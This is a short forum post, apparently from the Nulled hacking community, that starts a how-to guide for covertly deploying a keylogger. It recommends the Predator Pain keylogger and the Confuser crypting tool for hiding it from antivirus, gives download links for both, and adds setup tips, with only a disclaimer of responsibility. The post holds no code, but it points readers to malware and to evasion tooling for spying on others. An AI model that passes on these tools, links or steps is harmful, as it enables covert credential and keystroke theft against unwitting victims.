Note: I will not be responsible for whatever you do within or outside the Nulled community using this guide, I was having a lot of PM's asking me to teach them so i am now making this thread.
You do not need to Port forward or anything for this method. This works on all windows. If the program crashes using build, Then you need to install Microsoft Net framework 4.0+ . KL's are much easier to do but give much less functionality than a RAT.
The downloads you will be requiring are these
Keylogger software
(I recommend Predator since you can cure with it aswell )
http://www.filedwon.info/tj5kh0ryxxky/Predator_Pain_v13_released_3.1.2014_-__ed.rar.html
Crypting Software
http://www.filedwon.info/8nu50esw0v6q/Confuser.zip.html